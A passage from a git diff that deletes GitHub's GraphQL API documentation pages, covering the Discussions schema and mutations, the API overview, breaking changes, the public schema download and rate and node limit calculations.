GraphQL, failure is not total: portions of GraphQL queries may succeed while others fail. diff --git a/content/graphql/guides/using-the-graphql-api-for-discussions.md b/content/graphql/guides/using-the-graphql-api-for-discussions.md deleted file mode 100644 index 825b188e8278..000000000000 --- a/content/graphql/guides/using-the-graphql-api-for-discussions.md +++ /dev/null @@ -1,1096 +0,0 @@ ---- -title: Using the GraphQL API for Discussions -intro: 'Learn how to use the {% data variables.product.prodname_discussions %} GraphQL API.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Use GraphQL for Discussions ---- - -The {% data variables.product.prodname_discussions %} GraphQL API allows you to get, create, edit, and delete discussion posts. For more information about {% data variables.product.prodname_discussions %}, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions). - -This API is available for authenticated users, {% data variables.product.prodname_oauth_apps %}, and GitHub Apps. Access tokens require the `repo` scope for private repositories and the `public_repo` scope for public repositories. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps). - -## Fields - -### Repository.discussions - -List the discussions within a repository. If `categoryId` is specified, only results within that category will be returned. If `answered` is not specified, both answered and unanswered discussions will be returned. - -_Signature:_ - -```graphql -discussions( - after: String, - before: String, - first: Int, - last: Int, - categoryId: ID = null, - - answered: Boolean = null, - - orderBy: DiscussionOrder = {field: UPDATED_AT, direction: DESC} -) : Discussion -``` - -#### DiscussionOrder - -```graphql -""" -Ways in which discussions can be ordered. -""" -input DiscussionOrder { - """ - The field by which to order discussions. - """ - field: DiscussionOrderField! - - """ - The direction in which to order discussions by the specified field. - """ - direction: OrderDirection! -} -``` - -```graphql -""" -Properties by which discussion connections can be ordered. -""" -enum DiscussionOrderField { - """ - Order discussions by creation time. - """ - CREATED_AT - - """ - Order discussions by most recent modification time. - """ - UPDATED_AT -} -``` - -### Repository.discussionCategories - -Return the available discussion categories defined within this repository. Each repository may have up to 25 categories. For more information about discussion categories, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions). - -_Signature:_ - -```graphql -discussionCategories( - after: String, - before: String, - first: Int, - last: Int, -) : DiscussionCategoryConnection! -``` - -### Repository.discussion - -Get a discussion. Returns `null` if discussion with the specified ID does not exist. - -_Signature:_ - -```graphql -discussion(number: Int!) : Discussion -``` - -### Repository.pinnedDiscussions - -Return discussions pinned to this repository, ordered by pin position. - -_Signature:_ - -```graphql -pinnedDiscussions( - after: String, - before: String, - first: Int, - last: Int, -) : PinnedDiscussionConnection! -``` - -## Objects - -**Note:** For brevity, connection types are not expanded here. Each connection type mentioned in the schema follows the same pattern as other connections in the GraphQL API. For more information, see [AUTOTITLE](/graphql/guides/introduction-to-graphql#connection). - -```graphql -query { - repository(owner: "github", name: "some-repo") { - discussions(first: 10) { - # type: DiscussionConnection - totalCount # Int! - - pageInfo { - # type: PageInfo (from the public schema) - startCursor - endCursor - hasNextPage - hasPreviousPage - } - - edges { - # type: DiscussionEdge - cursor - node { - # type: Discussion - id - } - } - - nodes { - # type: Discussion - id - } - } - } -} -``` - -### Discussion - -
-Fields: - -```graphql -""" -A discussion in a repository. -""" -type Discussion implements Comment & Deletable & Lockable & Node & Reactable & RepositoryNode & Subscribable & Updatable { - """ - Reason that the conversation was locked. - """ - activeLockReason: LockReason - - - """ - Check if this discussion has been answered - """ - isAnswered: Boolean! - - - """ - The comment chosen as this discussion's answer, if any. - """ - answer: DiscussionComment - - """ - The time when a user chose this discussion's answer, if answered. - """ - answerChosenAt: DateTime - - """ - The user who chose this discussion's answer, if answered. - """ - answerChosenBy: Actor - - """ - The actor who authored the comment. - """ - author: Actor - - """ - Author's association with the subject of the comment. - """ - authorAssociation: CommentAuthorAssociation! - - """ - The main text of the discussion post. - """ - body: String! - - """ - The body rendered to HTML. - """ - bodyHTML: HTML! - - """ - The body rendered to text. - """ - bodyText: String! - - """ - The category for this discussion. - """ - category: DiscussionCategory! - - """ - The replies to the discussion. - """ - comments( - """ - Returns the elements in the list that come after the specified cursor. - """ - after: String - - """ - Returns the elements in the list that come before the specified cursor. - """ - before: String - - """ - Returns the first _n_ elements from the list. - """ - first: Int - - """ - Returns the last _n_ elements from the list. - """ - last: Int - ): DiscussionCommentConnection! - - """ - Identifies the date and time when the object was created. - """ - createdAt: DateTime! - - """ - Check if this comment was created via an email reply. - """ - createdViaEmail: Boolean! - - """ - Identifies the primary key from the database. - """ - databaseId: Int - - """ - The actor who edited the comment. - """ - editor: Actor - id: ID! - - """ - Check if this comment was edited and includes an edit with the creation data - """ - includesCreatedEdit: Boolean! - - """ - The moment the editor made the last edit - """ - lastEditedAt: DateTime - - """ - `true` if the object is locked - """ - locked: Boolean! - - """ - The number identifying this discussion within the repository. - """ - number: Int! - - """ - Identifies when the comment was published at. - """ - publishedAt: DateTime - - """ - A list of reactions grouped by content left on the subject. - """ - reactionGroups: [ReactionGroup!] - - """ - A list of Reactions left on the Issue. - """ - reactions( - """ - Returns the elements in the list that come after the specified cursor. - """ - after: String - - """ - Returns the elements in the list that come before the specified cursor. - """ - before: String - - """ - Allows filtering Reactions by emoji. - """ - content: ReactionContent - - """ - Returns the first _n_ elements from the list. - """ - first: Int - - """ - Returns the last _n_ elements from the list. - """ - last: Int - - """ - Allows specifying the order in which reactions are returned. - """ - orderBy: ReactionOrder - ): ReactionConnection! - - """ - The repository associated with this node. - """ - repository: Repository! - - """ - The path for this discussion. - """ - resourcePath: URI! - - """ - The title of this discussion. - """ - title: String! - - """ - Identifies the date and time when the object was last updated. - """ - updatedAt: DateTime! - - """ - The URL for this discussion. - """ - url: URI! - - """ - A list of edits to this content. - """ - userContentEdits( - """ - Returns the elements in the list that come after the specified cursor. - """ - after: String - - """ - Returns the elements in the list that come before the specified cursor. - """ - before: String - - """ - Returns the first _n_ elements from the list. - """ - first: Int - - """ - Returns the last _n_ elements from the list. - """ - last: Int - ): UserContentEditConnection - - """ - Check if the current viewer can delete this object. - """ - viewerCanDelete: Boolean! - - """ - Can user react to this subject - """ - viewerCanReact: Boolean! - - """ - Check if the viewer is able to change their subscription status for the repository. - """ - viewerCanSubscribe: Boolean! - - """ - Check if the current viewer can update this object. - """ - viewerCanUpdate: Boolean! - - """ - Did the viewer author this comment. - """ - viewerDidAuthor: Boolean! - - """ - Identifies if the viewer is watching, not watching, or ignoring the subscribable entity. - """ - viewerSubscription: SubscriptionState -} -``` - -
- -### DiscussionComment - -
-Fields - -```graphql -""" -A comment on a discussion. -""" -type DiscussionComment implements Comment & Deletable & Minimizable & Node & Reactable & Updatable & UpdatableComment { - """ - The actor who authored the comment. - """ - author: Actor - - """ - Author's association with the subject of the comment. - """ - authorAssociation: CommentAuthorAssociation! - - """ - The body as Markdown. - """ - body: String! - - """ - The body rendered to HTML. - """ - bodyHTML: HTML! - - """ - The body rendered to text. - """ - bodyText: String! - - """ - Identifies the date and time when the object was created. - """ - createdAt: DateTime! - - """ - Check if this comment was created via an email reply. - """ - createdViaEmail: Boolean! - - """ - Identifies the primary key from the database. - """ - databaseId: Int - - """ - The time when this replied-to comment was deleted - """ - deletedAt: DateTime - - """ - The discussion this comment was created in - """ - discussion: Discussion - - """ - The actor who edited the comment. - """ - editor: Actor - id: ID! - - """ - Check if this comment was edited and includes an edit with the creation data - """ - includesCreatedEdit: Boolean! - - """ - Has this comment been chosen as the answer of its discussion? - """ - isAnswer: Boolean! - - """ - Returns whether or not a comment has been minimized. - """ - isMinimized: Boolean! - - """ - The moment the editor made the last edit - """ - lastEditedAt: DateTime - - """ - Returns why the comment was minimized. - """ - minimizedReason: String - - """ - Identifies when the comment was published at. - """ - publishedAt: DateTime - - """ - A list of reactions grouped by content left on the subject. - """ - reactionGroups: [ReactionGroup!] - - """ - A list of Reactions left on the Issue. - """ - reactions( - """ - Returns the elements in the list that come after the specified cursor. - """ - after: String - - """ - Returns the elements in the list that come before the specified cursor. - """ - before: String - - """ - Allows filtering Reactions by emoji. - """ - content: ReactionContent - - """ - Returns the first _n_ elements from the list. - """ - first: Int - - """ - Returns the last _n_ elements from the list. - """ - last: Int - - """ - Allows specifying the order in which reactions are returned. - """ - orderBy: ReactionOrder - ): ReactionConnection! - - """ - The threaded replies to this comment. - """ - replies( - """ - Returns the elements in the list that come after the specified cursor. - """ - after: String - - """ - Returns the elements in the list that come before the specified cursor. - """ - before: String - - """ - Returns the first _n_ elements from the list. - """ - first: Int - - """ - Returns the last _n_ elements from the list. - """ - last: Int - ): DiscussionCommentConnection! - - """ - The discussion comment this comment is a reply to - """ - replyTo: DiscussionComment - - """ - The path for this discussion comment. - """ - resourcePath: URI! - - """ - Identifies the date and time when the object was last updated. - """ - updatedAt: DateTime! - - """ - The URL for this discussion comment. - """ - url: URI! - - """ - A list of edits to this content. - """ - userContentEdits( - """ - Returns the elements in the list that come after the specified cursor. - """ - after: String - - """ - Returns the elements in the list that come before the specified cursor. - """ - before: String - - """ - Returns the first _n_ elements from the list. - """ - first: Int - - """ - Returns the last _n_ elements from the list. - """ - last: Int - ): UserContentEditConnection - - """ - Check if the current viewer can delete this object. - """ - viewerCanDelete: Boolean! - - """ - Can the current user mark this comment as an answer? - """ - viewerCanMarkAsAnswer: Boolean! - - """ - Check if the current viewer can minimize this object. - """ - viewerCanMinimize: Boolean! - - """ - Can user react to this subject - """ - viewerCanReact: Boolean! - - """ - Can the current user unmark this comment as an answer? - """ - viewerCanUnmarkAsAnswer: Boolean! - - """ - Check if the current viewer can update this object. - """ - viewerCanUpdate: Boolean! - - """ - Reasons why the current viewer can not update this comment. - """ - viewerCannotUpdateReasons: [CommentCannotUpdateReason!]! - - """ - Did the viewer author this comment. - """ - viewerDidAuthor: Boolean! -} -``` - -
- -### DiscussionCategory - -
-Fields - -```graphql -""" -A category for discussions in a repository. -""" -type DiscussionCategory implements Node & RepositoryNode { - """ - Identifies the date and time when the object was created. - """ - createdAt: DateTime! - - """ - A description of this category. - """ - description: String - - """ - An emoji representing this category. - """ - emoji: String! - - """ - This category's emoji rendered as HTML. - """ - emojiHTML: HTML! - id: ID! - - """ - Whether or not discussions in this category support choosing an answer with the markDiscussionCommentAsAnswer mutation. - """ - isAnswerable: Boolean! - - """ - The name of this category. - """ - name: String! - - """ - The repository associated with this node. - """ - repository: Repository! - - """ - Identifies the date and time when the object was last updated. - """ - updatedAt: DateTime! -} -``` - -
- -### PinnedDiscussion - -
-Fields: - -```graphql -""" -A Pinned discussion is a discussion pinned to a repository's index page. -""" -type PinnedDiscussion implements Node & RepositoryNode { - """ - Identifies the date and time when the object was created. - """ - createdAt: DateTime! - - """ - Identifies the primary key from the database. - """ - databaseId: Int - - """ - The discussion that was pinned. - """ - discussion: Discussion! - - """ - Color stops of the chosen gradient - """ - gradientStopColors: [String!]! - id: ID! - - """ - Background texture pattern - """ - pattern: PinnedDiscussionPattern! - - """ - The actor that pinned this discussion. - """ - pinnedBy: Actor! - - """ - Preconfigured background gradient option - """ - preconfiguredGradient: PinnedDiscussionGradient - - """ - The repository associated with this node. - """ - repository: Repository! - - """ - Identifies the date and time when the object was last updated. - """ - updatedAt: DateTime! -} -``` - -
- -#### PinnedDiscussionPattern - -
-Values - -```graphql -""" -Preconfigured background patterns that may be used to style discussions pinned within a repository. -""" -enum PinnedDiscussionPattern { - """ - An upward-facing chevron pattern - """ - CHEVRON_UP - - """ - A hollow dot pattern - """ - DOT - - """ - A solid dot pattern - """ - DOT_FILL - - """ - A heart pattern - """ - HEART_FILL - - """ - A friendly octocat face pattern - """ - OCTOFACE - - """ - A plus sign pattern - """ - PLUS -} -``` - -
- -#### PinnedDiscussionGradient - -
-Values - -```graphql -""" -Preconfigured gradients that may be used to style discussions pinned within a repository. -""" -enum PinnedDiscussionGradient { - """ - A gradient of blue to mint - """ - BLUE_MINT - - """ - A gradient of blue to purple - """ - BLUE_PURPLE - - """ - A gradient of pink to blue - """ - PINK_BLUE - - """ - A gradient of purple to coral - """ - PURPLE_CORAL - - """ - A gradient of red to orange - """ - RED_ORANGE -} -``` - -
- -## Interfaces - -### RepositoryDiscussionAuthor - -Implemented by the `User` and `Organization` types. **Note:** An `Organization` will only have discussions associated with it if it was converted from a `User`. - -
-Fields - -```graphql -""" -Represents an author of discussions in repositories. -""" -interface RepositoryDiscussionAuthor { - """ - Discussions this user has started. - """ - repositoryDiscussions( - """ - Returns the elements in the list that come after the specified cursor. - """ - after: String - - """ - Filter discussions to only those that have been answered or not. Defaults to - including both answered and unanswered discussions. - """ - answered: Boolean = null - - """ - Returns the elements in the list that come before the specified cursor. - """ - before: String - - """ - Returns the first _n_ elements from the list. - """ - first: Int - - """ - Returns the last _n_ elements from the list. - """ - last: Int - - """ - Ordering options for discussions returned from the connection. - """ - orderBy: DiscussionOrder = {field: CREATED_AT, direction: DESC} - - """ - Filter discussions to only those in a specific repository. - """ - repositoryId: ID - ): DiscussionConnection! -} -``` - -
- -### RepositoryDiscussionCommentAuthor - -Also implemented by the `User` and `Organization` types. - -
-Fields - -```graphql -""" -Represents an author of discussion comments in repositories. -""" -interface RepositoryDiscussionCommentAuthor { - """ - Discussion comments this user has authored. - """ - repositoryDiscussionComments( - """ - Returns the elements in the list that come after the specified cursor. - """ - after: String - - """ - Returns the elements in the list that come before the specified cursor. - """ - before: String - - """ - Returns the first _n_ elements from the list. - """ - first: Int - - """ - Returns the last _n_ elements from the list. - """ - last: Int - - """ - Filter discussion comments to only those that were marked as the answer - """ - onlyAnswers: Boolean = false - - """ - Filter discussion comments to only those in a specific repository. - """ - repositoryId: ID - ): DiscussionCommentConnection! -} -``` - -
- -## Mutations - -These mutations follow the same implementation pattern that other mutations in the GraphQL API. Each mutation accepts a single argument of an `Input` type, named after the mutation, and returns a `Payload` type containing the fields specified. - -For example, this is a basic `createDiscussion` mutation that will create a new discussion: - -```graphql -mutation { - # input type: CreateDiscussionInput - createDiscussion(input: {repositoryId: "1234", categoryId: "5678", body: "The body", title: "The title"}) { - - # response type: CreateDiscussionPayload - discussion { - id - } - } -} -``` - -### createDiscussion - -Input fields: - -* `body: String!` The body of the new discussion. -* `title: String!` The title of the new discussion. -* `repositoryId: ID!` The ID of a repository in which to create the discussion. -* `categoryId: ID!` The ID of a `DiscussionCategory` within this repository. -* `clientMutationId: String` A unique identifier for the client performing the mutation. - -Return type fields: - -* `clientMutationId: String` The unique identifier provided as an input. -* `discussion: Discussion` The discussion that was created. - -### updateDiscussion - -Input fields: - -* `discussionId: ID!` The node ID of the discussion to update. -* `body: String` The new contents of the discussion body. -* `title: String` The new discussion title. -* `categoryId: ID` The node ID of a `DiscussionCategory` within the same repository to change this discussion to. -* `clientMutationId: String` A unique identifier for the client performing the mutation. - -Return type fields: - -* `clientMutationId: String` The unique identifier provided as an input. -* `discussion: Discussion` The discussion that was modified. - -### deleteDiscussion - -Input fields: - -* `id: ID!` The node ID of the discussion to delete. -* `clientMutationId: String` A unique identifier for the client performing the mutation. - -Return type fields: - -* `clientMutationId: String` The unique identifier provided as an input. -* `discussion: Discussion` The discussion that was deleted. - -### addDiscussionComment - -Input fields: - -* `body: String!` The contents of the comment. -* `discussionId: ID!` The node ID of the discussion to comment on. -* `replyToId: ID` The node ID of the discussion comment to reply to. If absent, the created comment will be a top-level comment. -* `clientMutationId: String` A unique identifier for the client performing the mutation. - -Return type fields: - -* `clientMutationId: String` The unique identifier provided as an input. -* `comment: DiscussionComment` The discussion comment that was created. - -### updateDiscussionComment - -Input fields: - -* `body: String!` The new contents of the comment body. -* `commentId: ID!` The node ID of the discussion comment to update. -* `clientMutationId: String` A unique identifier for the client performing the mutation. - -Return type fields: - -* `clientMutationId: String` The unique identifier provided as an input. -* `comment: DiscussionComment` The discussion comment that was updated. - -### deleteDiscussionComment - -Input fields: - -* `id: ID!` The node ID of the discussion comment to delete. -* `clientMutationId: String` A unique identifier for the client performing the mutation. - -Return type fields: - -* `clientMutationId: String` The unique identifier provided as an input. -* `comment: DiscussionComment` The discussion comment that was deleted. - -### markDiscussionCommentAsAnswer - -Input fields: - -* `id: ID!` The node ID of the discussion comment to mark as an answer. -* `clientMutationId: String` A unique identifier for the client performing the mutation. - -Return type fields: - -* `clientMutationId: String` The unique identifier provided as an input. -* `discussion: Discussion` The discussion that includes the chosen comment. - -### unmarkDiscussionCommentAsAnswer - -Input fields: - -* `id: ID!` The node ID of the discussion comment to unmark as an answer. -* `clientMutationId: String` A unique identifier for the client performing the mutation. - -Return type fields: - -* `clientMutationId: String` The unique identifier provided as an input. -* `discussion: Discussion` The discussion that includes the unmarked comment. - -## Search - -Discussion may be returned from the top-level `search` field. To search for discussion, specify `type` as `DISCUSSION`. The `SearchResultItemConnection` type has a `discussionCount` field to report the number of returned discussions, and the `Discussion` type is added to the `SearchResultItem` union. For more information, see [AUTOTITLE](/graphql/reference/queries#searchresultitemconnection) and [AUTOTITLE](/search-github/searching-on-github/searching-discussions). diff --git a/content/graphql/index.md b/content/graphql/index.md deleted file mode 100644 index afb7cc37bf19..000000000000 --- a/content/graphql/index.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: GitHub GraphQL API documentation -intro: 'To create integrations, retrieve data, and automate your workflows, use the {% data variables.product.prodname_dotcom %} GraphQL API. The {% data variables.product.prodname_dotcom %} GraphQL API offers more precise and flexible queries than the {% data variables.product.prodname_dotcom %} REST API.' -shortTitle: GraphQL API -introLinks: - overview: /graphql/overview/about-the-graphql-api -featuredLinks: - startHere: - - /graphql/guides/forming-calls-with-graphql - - /graphql/guides/introduction-to-graphql - - /graphql/guides/using-the-explorer - popular: - - /graphql/overview/explorer - - /graphql/overview/public-schema - - /graphql/overview/schema-previews - - /graphql/guides/using-pagination-in-the-graphql-api - guideCards: - - /graphql/guides/migrating-from-rest-to-graphql - - /graphql/guides/managing-enterprise-accounts - - /graphql/guides/using-global-node-ids -changelog: - label: 'api, apis' -layout: product-landing -redirect_from: - - /v4 -versions: - fpt: '*' - ghec: '*' - ghes: '*' -children: - - /overview - - /reference - - /guides ---- diff --git a/content/graphql/overview/about-the-graphql-api.md b/content/graphql/overview/about-the-graphql-api.md deleted file mode 100644 index cf055f2cec77..000000000000 --- a/content/graphql/overview/about-the-graphql-api.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: About the GraphQL API -intro: 'The {% data variables.product.prodname_dotcom %} GraphQL API offers flexibility and the ability to define precisely the data you want to fetch.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API ---- - -## Overview - -Here are some quick links to get you up and running with the GraphQL API: - -* [Authentication](/graphql/guides/forming-calls-with-graphql#authenticating-with-graphql) -* [Root endpoint](/graphql/guides/forming-calls-with-graphql#the-graphql-endpoint) -* [Schema introspection](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api) -* [Rate limits](/graphql/overview/resource-limitations) -* [Migrating from REST](/graphql/guides/migrating-from-rest-to-graphql) - -For more information about {% data variables.product.company_short %}'s APIs, see [AUTOTITLE](/rest/overview/about-githubs-apis). - -## About GraphQL - -The [GraphQL](https://graphql.org/) data query language is: - -* **A [specification](https://spec.graphql.org/June2018/).** The spec determines the validity of the [schema](/graphql/guides/introduction-to-graphql#schema) on the API server. The schema determines the validity of client calls. - -* **[Strongly typed](#about-the-graphql-schema-reference).** The schema defines an API's type system and all object relationships. - -* **[Introspective](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api).** A client can query the schema for details about the schema. - -* **[Hierarchical](/graphql/guides/forming-calls-with-graphql).** The shape of a GraphQL call mirrors the shape of the JSON data it returns. [Nested fields](/graphql/guides/migrating-from-rest-to-graphql#example-nesting) let you query for and receive only the data you specify in a single round trip. - -* **An application layer.** GraphQL is not a storage model or a database query language. The _graph_ refers to graph structures defined in the schema, where [nodes](/graphql/guides/introduction-to-graphql#node) define objects and [edges](/graphql/guides/introduction-to-graphql#edge) define relationships between objects. The API traverses and returns application data based on the schema definitions, independent of how the data is stored. - -## Why GitHub is using GraphQL - -GitHub chose GraphQL because it offers significantly more flexibility for our integrators. The ability to define precisely the data you want—and _only_ the data you want—is a powerful advantage over traditional REST API endpoints. GraphQL lets you replace multiple REST requests with _a single call_ to fetch the data you specify. - -For more details about why GitHub invested in GraphQL, see the original [announcement blog post](https://github.blog/2016-09-14-the-github-graphql-api/). - -## About the GraphQL schema reference - -The docs in the sidebar are generated from the {% data variables.product.prodname_dotcom %} GraphQL [schema](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api). All calls are validated and executed against the schema. Use these docs to find out what data you can call: - -* Allowed operations: [queries](/graphql/reference/queries) and [mutations](/graphql/reference/mutations). - -* Schema-defined types: [scalars](/graphql/reference/scalars), [objects](/graphql/reference/objects), [enums](/graphql/reference/enums), [interfaces](/graphql/reference/interfaces), [unions](/graphql/reference/unions), and [input objects](/graphql/reference/input-objects). - -You can access this same content via the [Explorer Docs sidebar](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs). Note that you may need to rely on both the docs and the schema validation to successfully call the GraphQL API. - -For other information, such as authentication and rate limit details, check out the [guides](/graphql/guides). - -## Requesting support - -{% data reusables.support.help_resources %} - -If you observe unexpected failures, you can use [githubstatus.com](https://www.githubstatus.com/) or the [{% data variables.product.company_short %} status API](https://www.githubstatus.com/api) to check for incidents affecting the API. diff --git a/content/graphql/overview/breaking-changes.md b/content/graphql/overview/breaking-changes.md deleted file mode 100644 index d710dc4d8e5d..000000000000 --- a/content/graphql/overview/breaking-changes.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Breaking changes -intro: 'Learn about recent and upcoming breaking changes to the {% data variables.product.prodname_dotcom %} GraphQL API.' -redirect_from: - - /v4/breaking_changes -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: graphql ---- - -## About breaking changes - -Breaking changes are any changes that might require action from our integrators. We divide these changes into two categories: - -* **Breaking:** Changes that will break existing queries to the GraphQL API. For example, removing a field would be a breaking change. -* **Dangerous:** Changes that won't break existing queries but could affect the runtime behavior of clients. Adding an enum value is an example of a dangerous change. - -{% ifversion ghes < 3.13 %} -We strive to provide stable APIs for our integrators. When a new feature is still evolving, we release it behind a [schema preview](/graphql/overview/schema-previews). -{% endif %} - -We'll announce upcoming breaking changes at least three months before making changes to the GraphQL schema, to give integrators time to make the necessary adjustments. Changes go into effect on the first day of a quarter (January 1st, April 1st, July 1st, or October 1st). For example, if we announce a change on January 15th, it will be made on July 1st. - - \ No newline at end of file diff --git a/content/graphql/overview/changelog.md b/content/graphql/overview/changelog.md deleted file mode 100644 index 653d6dfbb01e..000000000000 --- a/content/graphql/overview/changelog.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Changelog -intro: 'The GraphQL schema changelog is a list of recent and upcoming changes to our GraphQL API schema. It includes backwards-compatible changes{% ifversion ghes < 3.13 %}, schema previews,{% endif %} and upcoming breaking changes.' -redirect_from: - - /v4/changelog -versions: - fpt: '*' -topics: - - API -autogenerated: graphql ---- - -Breaking changes include changes that will break existing queries or could affect the runtime behavior of clients. For a list of breaking changes and when they will occur, see our [breaking changes log](/graphql/overview/breaking-changes). - - \ No newline at end of file diff --git a/content/graphql/overview/explorer.md b/content/graphql/overview/explorer.md deleted file mode 100644 index 48ae0f44dcda..000000000000 --- a/content/graphql/overview/explorer.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Explorer -redirect_from: - - /v4/explorer - - /v4/explorer-new -versions: - fpt: '*' - ghec: '*' - ghes: '*' -layout: graphql-explorer -topics: - - API -autogenerated: graphql ---- - -For more information about how to use the explorer, see [AUTOTITLE](/graphql/guides/using-the-explorer). - -{% ifversion ghec %} - -> [!NOTE] -> If your {% data variables.product.prodname_ghe_cloud %} organization uses {% data variables.product.prodname_dotcom %}'s IP allow list, you won't be able to use the GraphQL Explorer. Instead, we recommend using an alternative GraphQL client IDE. - -{% endif %} - - - diff --git a/content/graphql/overview/index.md b/content/graphql/overview/index.md deleted file mode 100644 index f9c607fafabb..000000000000 --- a/content/graphql/overview/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Overview -intro: 'Learn about the {% data variables.product.prodname_dotcom %} GraphQL API, previews for upcoming changes, breaking changes, and limitations. You can also use the GraphQL Explorer to interact with the API on real {% data variables.product.prodname_dotcom %} data.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -children: - - /about-the-graphql-api - - /public-schema - - /schema-previews - - /breaking-changes - - /changelog - - /explorer - - /rate-limits-and-node-limits-for-the-graphql-api ---- - diff --git a/content/graphql/overview/public-schema.md b/content/graphql/overview/public-schema.md deleted file mode 100644 index 6b2e0233e5c9..000000000000 --- a/content/graphql/overview/public-schema.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Public schema -intro: 'Download the public schema for the {% data variables.product.prodname_dotcom %} GraphQL API.' -redirect_from: - - /v4/public_schema -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API ---- - -You can [perform introspection](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api) against the GraphQL API directly. - -Alternatively, you can download the latest version of the public schema here: - -{% ifversion fpt %} - -[{% octicon "desktop-download" aria-label="Download" %} `schema.docs.graphql`](/public/fpt/schema.docs.graphql) - -{% endif %} - -{% ifversion ghec %} - -[{% octicon "desktop-download" aria-label="Download" %} `schema.docs.graphql`](/public/ghec/schema.docs.graphql) - -{% endif %} - -{% ifversion ghes %} - -[{% octicon "desktop-download" aria-label="Download" %} `schema.docs-enterprise.graphql`](/public/ghes-{{ allVersions[currentVersion].currentRelease }}/schema.docs-enterprise.graphql) ({{ allVersions[currentVersion].versionTitle }}) - -{% endif %} diff --git a/content/graphql/overview/rate-limits-and-node-limits-for-the-graphql-api.md b/content/graphql/overview/rate-limits-and-node-limits-for-the-graphql-api.md deleted file mode 100644 index b6661e801e31..000000000000 --- a/content/graphql/overview/rate-limits-and-node-limits-for-the-graphql-api.md +++ /dev/null @@ -1,289 +0,0 @@ ---- -title: Rate limits and node limits for the GraphQL API -shortTitle: Rate and node limits -intro: 'The {% data variables.product.prodname_dotcom %} GraphQL API has limitations in place to protect against excessive or abusive calls to {% data variables.product.prodname_dotcom %}''s servers.' -redirect_from: - - /v4/guides/resource-limitations - - /graphql/overview/resource-limitations -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API ---- - -## Node limit - -To pass [schema](/graphql/guides/introduction-to-graphql#schema) validation, all GraphQL API [calls](/graphql/guides/forming-calls-with-graphql) must meet these standards: - -* Clients must supply a `first` or `last` argument on any [connection](/graphql/guides/introduction-to-graphql#connection). -* Values of `first` and `last` must be within 1-100. -* Individual calls cannot request more than 500,000 total [nodes](/graphql/guides/introduction-to-graphql#node). - -### Calculating nodes in a call - -These two examples show how to calculate the total nodes in a call. - -1. Simple query: - - 
query {
-     viewer {
-       repositories(first: 50) {
-         edges {
-           repository:node {
-             name
-
-             issues(first: 10) {
-               totalCount
-               edges {
-                 node {
-                   title
-                   bodyHTML
-                 }
-               }
-             }
-           }
-         }
-       }
-     }
-   }
- - Calculation: - - 
50         = 50 repositories
-    +
-   50 x 10  = 500 repository issues
-
-               = 550 total nodes
- -1. Complex query: - - 
query {
-     viewer {
-       repositories(first: 50) {
-         edges {
-           repository:node {
-             name
-
-             pullRequests(first: 20) {
-               edges {
-                 pullRequest:node {
-                   title
-
-                   comments(first: 10) {
-                     edges {
-                       comment:node {
-                         bodyHTML
-                       }
-                     }
-                   }
-                 }
-               }
-             }
-
-             issues(first: 20) {
-               totalCount
-               edges {
-                 issue:node {
-                   title
-                   bodyHTML
-
-                   comments(first: 10) {
-                     edges {
-                       comment:node {
-                         bodyHTML
-                       }
-                     }
-                   }
-                 }
-               }
-             }
-           }
-         }
-       }
-
-       followers(first: 10) {
-         edges {
-           follower:node {
-             login
-           }
-         }
-       }
-     }
-   }
- - Calculation: - - 
50              = 50 repositories
-    +
-   50 x 20       = 1,000 pullRequests
-    +
-   50 x 20 x 10 = 10,000 pullRequest comments
-    +
-   50 x 20       = 1,000 issues
-    +
-   50 x 20 x 10 = 10,000 issue comments
-    +
-   10              = 10 followers
-
-                    = 22,060 total nodes
- -## Primary rate limit - -{% ifversion ghes %} - -Rate limits are disabled by default for {% data variables.product.prodname_ghe_server %}. Contact your site administrator to confirm the rate limits for your instance. - -If you are a site administrator, you can set rate limits for your instance. For more information, see [AUTOTITLE](/admin/configuration/configuring-user-applications-for-your-enterprise/configuring-rate-limits). - -If you are developing an app for users or organizations outside of your instance, the standard {% data variables.product.github %} rate limits apply. For more information, see [AUTOTITLE](/free-pro-team@latest/graphql/overview/resource-limitations) in the {% data variables.product.prodname_free_user %} documentation. - -{% else %} - -The GraphQL API assigns points to each query and limits the points that you can use within a specific amount of time. This limit helps prevent abuse and denial-of-service attacks, and ensures that the API remains available for all users. - -The REST API also has a separate primary rate limit. For more information, see [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api). - -In general, you can calculate your primary rate limit for the GraphQL API based on your method of authentication: - -* _For users_: 5,000 points per hour per user. This includes requests made with a {% data variables.product.pat_generic %} as well as requests made by a {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_oauth_app %} on behalf of a user that authorized the app. Requests made on a user's behalf by a {% data variables.product.prodname_github_app %} that is owned by a {% data variables.product.prodname_ghe_cloud %} organization have a higher rate limit of 10,000 points per hour. Similarly, requests made on your behalf by an {% data variables.product.prodname_oauth_app %} that is owned or approved by a {% data variables.product.prodname_ghe_cloud %} organization have a higher rate limit of 10,000 points per hour if you are a member of the {% data variables.product.prodname_ghe_cloud %} organization. -* _For {% data variables.product.prodname_github_app %} installations not on a {% data variables.product.prodname_ghe_cloud %} organization_: 5,000 points per hour per installation. Installations that have more than 20 repositories receive another 50 points per hour for each repository. Installations that are on an organization that have more than 20 users receive another 50 points per hour for each user. The rate limit cannot increase beyond 12,500 points per hour. The rate limit for user access tokens 